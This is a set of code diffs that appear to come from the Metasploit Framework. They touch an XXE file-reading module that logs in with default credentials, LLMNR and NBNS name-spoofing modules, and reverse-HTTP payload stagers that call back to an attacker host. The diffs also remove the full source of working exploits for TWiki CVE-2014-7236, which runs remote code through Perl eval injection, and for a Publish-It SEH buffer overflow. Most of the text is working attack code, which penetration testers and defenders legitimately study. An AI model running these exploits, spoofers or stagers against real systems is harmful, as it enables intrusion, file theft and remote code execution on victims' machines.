OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]),
|
|
||||||
OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"])
|
|
||||||
], self.class)
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def run
|
|
||||||
|
|
||||||
print_status("Logging in to grab a valid session cookie")
|
|
||||||
|
|
||||||
res = send_request_cgi({
|
|
||||||
'method' => 'POST',
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
|
|
||||||
'vars_post' => {
|
|
||||||
'j_username' => datastore['USERNAME'],
|
|
||||||
'j_password' => datastore['PASSWORD'],
|
|
||||||
'Login'=> 'Login'
|
|
||||||
},
|
|
||||||
})
|
|
||||||
|
|
||||||
if res.nil?
|
|
||||||
fail_with(Failure::Unreachable, "No response from POST request")
|
|
||||||
elsif res.code != 302
|
|
||||||
fail_with(Failure::UnexpectedReply, "Non-302 response from POST request")
|
|
||||||
end
|
|
||||||
|
|
||||||
unless res.headers["Location"].include? "index.jsp"
|
|
||||||
fail_with(Failure::NoAccess, 'Authentication failed')
|
|
||||||
end
|
|
||||||
|
|
||||||
cookie = res.get_cookies
|
|
||||||
|
|
||||||
print_status("Got cookie, going for the goods")
|
|
||||||
|
|
||||||
rand_doctype = Rex::Text.rand_text_alpha(rand(1..10))
|
|
||||||
rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10))
|
|
||||||
rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10))
|
|
||||||
delimiter = SecureRandom.uuid
|
|
||||||
|
|
||||||
xxe = %Q^<?xml version="1.0" encoding="ISO-8859-1"?>
|
|
||||||
<!DOCTYPE #{rand_doctype} [
|
|
||||||
<!ELEMENT #{rand_entity1} ANY >
|
|
||||||
<!ENTITY #{rand_entity2} SYSTEM "file://#{datastore["FILEPATH"]}" >
|
|
||||||
]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}</#{rand_entity1}>^
|
|
||||||
|
|
||||||
res = send_request_raw({
|
|
||||||
'method' => 'POST',
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'),
|
|
||||||
'data' => xxe,
|
|
||||||
'cookie' => cookie
|
|
||||||
})
|
|
||||||
|
|
||||||
# extract filepath data from response
|
|
||||||
if res && res.code == 400 && res.body =~ /title.+#{delimiter}(.+)#{delimiter}.+title/m
|
|
||||||
result = $1
|
|
||||||
print_good("#{result}")
|
|
||||||
else
|
|
||||||
fail_with(Failure::Unknown, 'Error fetching file, try another')
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -103,6 +103,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
if datastore['LISTENER']
|
if datastore['LISTENER']
|
||||||
@listener.kill if @listener
|
@listener.kill if @listener
|
||||||
|
GC.start()
|
||||||
end
|
end
|
||||||
|
|
||||||
if capture and @spoofing and not datastore['BROADCAST']
|
if capture and @spoofing and not datastore['BROADCAST']
|
||||||
|
|
|
@ -139,7 +139,9 @@ attr_accessor :sock, :thread
|
||||||
end
|
end
|
||||||
ip_pkt.recalc
|
ip_pkt.recalc
|
||||||
|
|
||||||
capture_sendto(ip_pkt, rhost.to_s, true)
|
open_pcap
|
||||||
|
capture_sendto(ip_pkt, rhost.to_s, true)
|
||||||
|
close_pcap
|
||||||
end
|
end
|
||||||
|
|
||||||
def monitor_socket
|
def monitor_socket
|
||||||
|
@ -174,10 +176,7 @@ attr_accessor :sock, :thread
|
||||||
|
|
||||||
def run
|
def run
|
||||||
check_pcaprub_loaded()
|
check_pcaprub_loaded()
|
||||||
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
|
::Socket.do_not_reverse_lookup = true
|
||||||
|
|
||||||
# Avoid receiving extraneous traffic on our send socket
|
|
||||||
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
|
|
||||||
|
|
||||||
# Multicast Address for LLMNR
|
# Multicast Address for LLMNR
|
||||||
multicast_addr = ::IPAddr.new("224.0.0.252")
|
multicast_addr = ::IPAddr.new("224.0.0.252")
|
||||||
|
@ -192,28 +191,24 @@ attr_accessor :sock, :thread
|
||||||
self.sock = Rex::Socket.create_udp(
|
self.sock = Rex::Socket.create_udp(
|
||||||
# This must be INADDR_ANY to receive multicast packets
|
# This must be INADDR_ANY to receive multicast packets
|
||||||
'LocalHost' => "0.0.0.0",
|
'LocalHost' => "0.0.0.0",
|
||||||
'LocalPort' => 5355,
|
'LocalPort' => 5355)
|
||||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
|
||||||
)
|
|
||||||
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||||
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
|
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
|
||||||
|
|
||||||
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
|
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
|
||||||
monitor_socket
|
monitor_socket
|
||||||
}
|
}
|
||||||
|
|
||||||
print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")
|
print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")
|
||||||
|
|
||||||
add_socket(self.sock)
|
add_socket(self.sock)
|
||||||
|
|
||||||
self.thread.join
|
while thread.alive?
|
||||||
|
select(nil, nil, nil, 0.25)
|
||||||
|
end
|
||||||
|
|
||||||
|
self.thread.kill
|
||||||
|
self.sock.close rescue nil
|
||||||
end
|
end
|
||||||
|
|
||||||
def cleanup
|
|
||||||
if self.thread and self.thread.alive?
|
|
||||||
self.thread.kill
|
|
||||||
self.thread = nil
|
|
||||||
end
|
|
||||||
close_pcap
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -9,9 +9,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Exploit::Capture
|
include Msf::Exploit::Capture
|
||||||
|
|
||||||
attr_accessor :sock, :thread
|
|
||||||
|
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
'Name' => 'NetBIOS Name Service Spoofer',
|
'Name' => 'NetBIOS Name Service Spoofer',
|
||||||
|
@ -47,142 +44,108 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
])
|
])
|
||||||
|
|
||||||
register_advanced_options([
|
register_advanced_options([
|
||||||
OptBool.new('DEBUG', [ false, "Determines whether incoming packet parsing is displayed", false])
|
OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false])
|
||||||
])
|
])
|
||||||
|
|
||||||
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
|
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
|
||||||
self.thread = nil
|
|
||||||
self.sock = nil
|
|
||||||
end
|
|
||||||
|
|
||||||
def dispatch_request(packet, rhost, src_port)
|
|
||||||
rhost = ::IPAddr.new(rhost)
|
|
||||||
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
|
|
||||||
# addr like "::ffff:192.168.0.1" when the interface we're listening
|
|
||||||
# on has an IPv6 address. Convert it to just the v4 addr
|
|
||||||
if rhost.ipv4_mapped?
|
|
||||||
rhost = rhost.native
|
|
||||||
end
|
|
||||||
|
|
||||||
# Convert to string
|
|
||||||
rhost = rhost.to_s
|
|
||||||
|
|
||||||
spoof = ::IPAddr.new(datastore['SPOOFIP'])
|
|
||||||
|
|
||||||
return if packet.length == 0
|
|
||||||
|
|
||||||
nbnsq_transid = packet[0..1]
|
|
||||||
nbnsq_flags = packet[2..3]
|
|
||||||
nbnsq_questions = packet[4..5]
|
|
||||||
nbnsq_answerrr = packet[6..7]
|
|
||||||
nbnsq_authorityrr = packet[8..9]
|
|
||||||
nbnsq_additionalrr = packet[10..11]
|
|
||||||
nbnsq_name = packet[12..45]
|
|
||||||
decoded = ""
|
|
||||||
nbnsq_name.slice(1..-2).each_byte do |c|
|
|
||||||
decoded << "#{(c - 65).to_s(16)}"
|
|
||||||
end
|
|
||||||
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
|
|
||||||
nbnsq_type = packet[46..47]
|
|
||||||
nbnsq_class = packet[48..49]
|
|
||||||
|
|
||||||
return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i
|
|
||||||
|
|
||||||
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
|
|
||||||
|
|
||||||
if datastore['DEBUG']
|
|
||||||
print_status("transid: #{nbnsq_transid.unpack('H4')}")
|
|
||||||
print_status("tlags: #{nbnsq_flags.unpack('B16')}")
|
|
||||||
print_status("questions: #{nbnsq_questions.unpack('n')}")
|
|
||||||
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
|
|
||||||
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
|
|
||||||
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
|
|
||||||
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
|
|
||||||
print_status("full name: #{nbnsq_name.slice(1..-2)}")
|
|
||||||
print_status("decoded: #{decoded}")
|
|
||||||
print_status("decoded name: #{nbnsq_decodedname}")
|
|
||||||
print_status("type: #{nbnsq_type.unpack('n')}")
|
|
||||||
print_status("class: #{nbnsq_class.unpack('n')}")
|
|
||||||
end
|
|
||||||
|
|
||||||
# time to build a response packet - Oh YEAH!
|
|
||||||
response = nbnsq_transid +
|
|
||||||
"\x85\x00" + # Flags = response + authoratative + recursion desired +
|
|
||||||
"\x00\x00" + # Questions = 0
|
|
||||||
"\x00\x01" + # Answer RRs = 1
|
|
||||||
"\x00\x00" + # Authority RRs = 0
|
|
||||||
"\x00\x00" + # Additional RRs = 0
|
|
||||||
nbnsq_name + # original query name
|
|
||||||
nbnsq_type + # Type = NB ...whatever that means
|
|
||||||
nbnsq_class+ # Class = IN
|
|
||||||
"\x00\x04\x93\xe0" + # TTL = a long ass time
|
|
||||||
"\x00\x06" + # Datalength = 6
|
|
||||||
"\x00\x00" + # Flags B-node, unique = whatever that means
|
|
||||||
spoof.hton
|
|
||||||
|
|
||||||
pkt = PacketFu::UDPPacket.new
|
|
||||||
pkt.ip_saddr = Rex::Socket.source_address(rhost)
|
|
||||||
pkt.ip_daddr = rhost
|
|
||||||
pkt.ip_ttl = 255
|
|
||||||
pkt.udp_sport = 137
|
|
||||||
pkt.udp_dport = src_port
|
|
||||||
pkt.payload = response
|
|
||||||
pkt.recalc
|
|
||||||
|
|
||||||
capture_sendto(pkt, rhost)
|
|
||||||
end
|
|
||||||
|
|
||||||
def monitor_socket
|
|
||||||
while true
|
|
||||||
rds = [self.sock]
|
|
||||||
wds = []
|
|
||||||
eds = [self.sock]
|
|
||||||
|
|
||||||
r,_,_ = ::IO.select(rds,wds,eds,0.25)
|
|
||||||
if (r != nil and r[0] == self.sock)
|
|
||||||
packet, host, port = self.sock.recvfrom(65535)
|
|
||||||
dispatch_request(packet, host, port)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
check_pcaprub_loaded()
|
check_pcaprub_loaded() # Check first since otherwise this is all for naught
|
||||||
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
|
# MacOS X workaround
|
||||||
|
::Socket.do_not_reverse_lookup = true
|
||||||
|
|
||||||
# Avoid receiving extraneous traffic on our send socket
|
@sock = ::UDPSocket.new()
|
||||||
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
|
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||||
|
@sock.bind('', 137) # couldn't specify srv host because it missed broadcasts
|
||||||
|
|
||||||
self.sock = Rex::Socket.create_udp(
|
@run = true
|
||||||
'LocalHost' => "0.0.0.0",
|
|
||||||
'LocalPort' => 137,
|
|
||||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
|
||||||
)
|
|
||||||
add_socket(self.sock)
|
|
||||||
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
|
||||||
|
|
||||||
self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) {
|
print_status("NBNS Spoofer started. Listening for NBNS requests...")
|
||||||
begin
|
|
||||||
monitor_socket
|
begin
|
||||||
rescue ::Interrupt
|
|
||||||
raise $!
|
while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
|
||||||
rescue ::Exception
|
packet, addr = @sock.recvfrom(512)
|
||||||
print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
|
src_port = addr[1]
|
||||||
|
rhost = addr[3]
|
||||||
|
|
||||||
|
break if packet.length == 0
|
||||||
|
|
||||||
|
nbnsq_transid = packet[0..1]
|
||||||
|
nbnsq_flags = packet[2..3]
|
||||||
|
nbnsq_questions = packet[4..5]
|
||||||
|
nbnsq_answerrr = packet[6..7]
|
||||||
|
nbnsq_authorityrr = packet[8..9]
|
||||||
|
nbnsq_additionalrr = packet[10..11]
|
||||||
|
nbnsq_name = packet[12..45]
|
||||||
|
decoded = ""
|
||||||
|
nbnsq_name.slice(1..-2).each_byte do |c|
|
||||||
|
decoded << "#{(c - 65).to_s(16)}"
|
||||||
end
|
end
|
||||||
}
|
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
|
||||||
|
nbnsq_type = packet[46..47]
|
||||||
|
nbnsq_class = packet[48..49]
|
||||||
|
|
||||||
print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...")
|
if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)
|
||||||
|
|
||||||
self.thread.join
|
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}")
|
||||||
print_status("NBNS Monitor thread exited...")
|
|
||||||
end
|
|
||||||
|
|
||||||
def cleanup
|
if datastore['DEBUG']
|
||||||
if self.thread and self.thread.alive?
|
print_status("transid: #{nbnsq_transid.unpack('H4')}")
|
||||||
self.thread.kill
|
print_status("tlags: #{nbnsq_flags.unpack('B16')}")
|
||||||
self.thread = nil
|
print_status("questions: #{nbnsq_questions.unpack('n')}")
|
||||||
|
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
|
||||||
|
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
|
||||||
|
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
|
||||||
|
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
|
||||||
|
print_status("full name: #{nbnsq_name.slice(1..-2)}")
|
||||||
|
print_status("decoded: #{decoded}")
|
||||||
|
print_status("decoded name: #{nbnsq_decodedname}")
|
||||||
|
print_status("type: #{nbnsq_type.unpack('n')}")
|
||||||
|
print_status("class: #{nbnsq_class.unpack('n')}")
|
||||||
|
end
|
||||||
|
|
||||||
|
# time to build a response packet - Oh YEAH!
|
||||||
|
response = nbnsq_transid +
|
||||||
|
"\x85\x00" + # Flags = response + authoratative + recursion desired +
|
||||||
|
"\x00\x00" + # Questions = 0
|
||||||
|
"\x00\x01" + # Answer RRs = 1
|
||||||
|
"\x00\x00" + # Authority RRs = 0
|
||||||
|
"\x00\x00" + # Additional RRs = 0
|
||||||
|
nbnsq_name + # original query name
|
||||||
|
nbnsq_type + # Type = NB ...whatever that means
|
||||||
|
nbnsq_class+ # Class = IN
|
||||||
|
"\x00\x04\x93\xe0" + # TTL = a long ass time
|
||||||
|
"\x00\x06" + # Datalength = 6
|
||||||
|
"\x00\x00" + # Flags B-node, unique = whet ever that means
|
||||||
|
datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*')
|
||||||
|
|
||||||
|
open_pcap
|
||||||
|
|
||||||
|
p = PacketFu::UDPPacket.new
|
||||||
|
p.ip_saddr = Rex::Socket.source_address(rhost)
|
||||||
|
p.ip_daddr = rhost
|
||||||
|
p.ip_ttl = 255
|
||||||
|
p.udp_sport = 137
|
||||||
|
p.udp_dport = src_port
|
||||||
|
p.payload = response
|
||||||
|
p.recalc
|
||||||
|
|
||||||
|
capture_sendto(p, rhost)
|
||||||
|
|
||||||
|
close_pcap
|
||||||
|
|
||||||
|
else
|
||||||
|
vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
close_pcap
|
|
||||||
end
|
|
||||||
|
|
||||||
|
rescue ::Exception => e
|
||||||
|
print_error("nbnspoof: #{e.class} #{e} #{e.backtrace}")
|
||||||
|
# Make sure the socket gets closed on exit
|
||||||
|
ensure
|
||||||
|
@sock.close
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,101 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
|
||||||
Rank = ExcellentRanking
|
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'TWiki Debugenableplugins Remote Code Execution',
|
|
||||||
'Description' => %q{
|
|
||||||
TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality.
|
|
||||||
The value of the debugenableplugins parameter is used without proper sanitization
|
|
||||||
in an Perl eval statement which allows remote code execution
|
|
||||||
},
|
|
||||||
'Author' =>
|
|
||||||
[
|
|
||||||
'Netanel Rubin', # from Check Point - Discovery
|
|
||||||
'h0ng10', # Metasploit Module
|
|
||||||
|
|
||||||
],
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'CVE', '2014-7236'],
|
|
||||||
[ 'OSVDB', '112977'],
|
|
||||||
[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236']
|
|
||||||
],
|
|
||||||
'Privileged' => false,
|
|
||||||
'Targets' =>
|
|
||||||
[
|
|
||||||
[ 'Automatic',
|
|
||||||
{
|
|
||||||
'Payload' =>
|
|
||||||
{
|
|
||||||
'BadChars' => "",
|
|
||||||
'Compat' =>
|
|
||||||
{
|
|
||||||
'PayloadType' => 'cmd',
|
|
||||||
'RequiredCmd' => 'generic perl python php',
|
|
||||||
}
|
|
||||||
},
|
|
||||||
'Platform' => ['unix'],
|
|
||||||
'Arch' => ARCH_CMD
|
|
||||||
}
|
|
||||||
]
|
|
||||||
],
|
|
||||||
'DefaultTarget' => 0,
|
|
||||||
'DisclosureDate' => 'Oct 09 2014'))
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]),
|
|
||||||
OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin'])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def send_code(perl_code)
|
|
||||||
uri = target_uri.path
|
|
||||||
data = "debugenableplugins=#{datastore['PLUGIN']}%3b" + CGI.escape(perl_code) + "%3bexit"
|
|
||||||
|
|
||||||
res = send_request_cgi!({
|
|
||||||
'method' => 'POST',
|
|
||||||
'uri' => uri,
|
|
||||||
'data' => data
|
|
||||||
})
|
|
||||||
|
|
||||||
return res
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def check
|
|
||||||
rand_1 = rand_text_alpha(5)
|
|
||||||
rand_2 = rand_text_alpha(5)
|
|
||||||
|
|
||||||
code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")"
|
|
||||||
res = send_code(code)
|
|
||||||
|
|
||||||
if res and res.code == 200
|
|
||||||
return CheckCode::Vulnerable if res.body == rand_1 + rand_2
|
|
||||||
end
|
|
||||||
CheckCode::Unknown
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def exploit
|
|
||||||
code = "print(\"Content-Type:text/html\\r\\n\\r\\n\");"
|
|
||||||
code += "require('MIME/Base64.pm');MIME::Base64->import();"
|
|
||||||
code += "system(decode_base64('#{Rex::Text.encode_base64(payload.encoded)}'));exit"
|
|
||||||
res = send_code(code)
|
|
||||||
handler
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,82 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
|
||||||
Rank = NormalRanking
|
|
||||||
|
|
||||||
include Msf::Exploit::FILEFORMAT
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'Publish-It PUI Buffer Overflow (SEH)',
|
|
||||||
'Description' => %q{
|
|
||||||
This module exploits a stack based buffer overflow in Publish-It when
|
|
||||||
processing a specially crafted .PUI file. This vulnerability could be
|
|
||||||
exploited by a remote attacker to execute arbitrary code on the target
|
|
||||||
machine by enticing a user of Publish-It to open a malicious .PUI file.
|
|
||||||
},
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' =>
|
|
||||||
[
|
|
||||||
'Daniel Kazimirow', # Original discovery
|
|
||||||
'Andrew Smith "jakx_"', # Exploit and MSF Module
|
|
||||||
],
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'OSVDB', '102911' ],
|
|
||||||
[ 'CVE', '2014-0980' ],
|
|
||||||
[ 'EDB', '31461' ]
|
|
||||||
],
|
|
||||||
'DefaultOptions' =>
|
|
||||||
{
|
|
||||||
'ExitFunction' => 'process',
|
|
||||||
},
|
|
||||||
'Platform' => 'win',
|
|
||||||
'Payload' =>
|
|
||||||
{
|
|
||||||
'BadChars' => "\x00\x0b\x0a",
|
|
||||||
'DisableNops' => true,
|
|
||||||
'Space' => 377
|
|
||||||
},
|
|
||||||
'Targets' =>
|
|
||||||
[
|
|
||||||
[ 'Publish-It 3.6d',
|
|
||||||
{
|
|
||||||
'Ret' => 0x0046e95a, #p/p/r | Publish.EXE
|
|
||||||
'Offset' => 1082
|
|
||||||
}
|
|
||||||
],
|
|
||||||
],
|
|
||||||
'Privileged' => false,
|
|
||||||
'DisclosureDate' => 'Feb 5 2014',
|
|
||||||
'DefaultTarget' => 0))
|
|
||||||
|
|
||||||
register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class)
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
|
||||||
|
|
||||||
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")
|
|
||||||
fd = File.open(path, "rb")
|
|
||||||
template_data = fd.read(fd.stat.size)
|
|
||||||
fd.close
|
|
||||||
|
|
||||||
buffer = template_data
|
|
||||||
buffer << make_nops(700)
|
|
||||||
buffer << payload.encoded
|
|
||||||
buffer << make_nops(target['Offset']-payload.encoded.length-700-5)
|
|
||||||
buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399
|
|
||||||
buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump
|
|
||||||
buffer << make_nops(2)
|
|
||||||
buffer << [target.ret].pack("V")
|
|
||||||
|
|
||||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
||||||
file_create(buffer)
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http'
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit3
|
||||||
|
|
||||||
CachedSize = 5499
|
CachedSize = 5500
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
include Msf::Payload::Java
|
include Msf::Payload::Java
|
||||||
|
@ -40,22 +40,12 @@ module Metasploit3
|
||||||
end
|
end
|
||||||
|
|
||||||
def config
|
def config
|
||||||
# Default URL length is 30-256 bytes
|
|
||||||
uri_req_len = 30 + rand(256-30)
|
|
||||||
|
|
||||||
# Generate the short default URL if we don't know available space
|
|
||||||
if self.available_space.nil?
|
|
||||||
uri_req_len = 5
|
|
||||||
end
|
|
||||||
|
|
||||||
spawn = datastore["Spawn"] || 2
|
spawn = datastore["Spawn"] || 2
|
||||||
c = ""
|
c = ""
|
||||||
c << "Spawn=#{spawn}\n"
|
c << "Spawn=#{spawn}\n"
|
||||||
c << "URL=http://#{datastore["LHOST"]}"
|
c << "URL=http://#{datastore["LHOST"]}"
|
||||||
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
||||||
c << "/"
|
c << "/INITJM\n"
|
||||||
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
|
|
||||||
c << "\n"
|
|
||||||
|
|
||||||
c
|
c
|
||||||
end
|
end
|
||||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_https'
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit3
|
||||||
|
|
||||||
CachedSize = 6307
|
CachedSize = 6308
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
include Msf::Payload::Java
|
include Msf::Payload::Java
|
||||||
|
@ -42,22 +42,12 @@ module Metasploit3
|
||||||
end
|
end
|
||||||
|
|
||||||
def config
|
def config
|
||||||
# Default URL length is 30-256 bytes
|
|
||||||
uri_req_len = 30 + rand(256-30)
|
|
||||||
|
|
||||||
# Generate the short default URL if we don't know available space
|
|
||||||
if self.available_space.nil?
|
|
||||||
uri_req_len = 5
|
|
||||||
end
|
|
||||||
|
|
||||||
spawn = datastore["Spawn"] || 2
|
spawn = datastore["Spawn"] || 2
|
||||||
c = ""
|
c = ""
|
||||||
c << "Spawn=#{spawn}\n"
|
c << "Spawn=#{spawn}\n"
|
||||||
c << "URL=https://#{datastore["LHOST"]}"
|
c << "URL=https://#{datastore["LHOST"]}"
|
||||||
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
||||||
c << "/"
|
c << "/INITJM\n"
|
||||||
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
|
|
||||||
c << "\n"
|
|
||||||
|
|
||||||
c
|
c
|
||||||
end
|
end
|
||||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http'
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit3
|
||||||
|
|
||||||
CachedSize = 446
|
CachedSize = 442
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
|
|
||||||
|
@ -26,9 +26,9 @@ module Metasploit3
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
|
OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]),
|
||||||
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
|
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ])
|
||||||
], self.class)
|
], Msf::Handler::ReverseHttp)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -41,32 +41,21 @@ module Metasploit3
|
||||||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||||
}
|
}
|
||||||
|
|
||||||
if Rex::Socket.is_ipv6?(lhost)
|
target_url = 'http://'
|
||||||
target_url = "http://[#{lhost}]"
|
target_url << lhost
|
||||||
else
|
|
||||||
target_url = "http://#{lhost}"
|
|
||||||
end
|
|
||||||
|
|
||||||
target_url << ':'
|
target_url << ':'
|
||||||
target_url << datastore['LPORT'].to_s
|
target_url << datastore['LPORT'].to_s
|
||||||
target_url << '/'
|
target_url << '/'
|
||||||
target_url << generate_callback_uri
|
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
|
||||||
|
|
||||||
proxy_host = datastore['PayloadProxyHost'].to_s
|
|
||||||
proxy_port = datastore['PayloadProxyPort'].to_i
|
|
||||||
|
|
||||||
cmd = "import sys\n"
|
cmd = "import sys\n"
|
||||||
if proxy_host == ''
|
if datastore['PROXYHOST'].blank?
|
||||||
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
|
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
|
||||||
else
|
else
|
||||||
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
|
||||||
"http://[#{proxy_host}]:#{proxy_port}" :
|
|
||||||
"http://#{proxy_host}:#{proxy_port}"
|
|
||||||
|
|
||||||
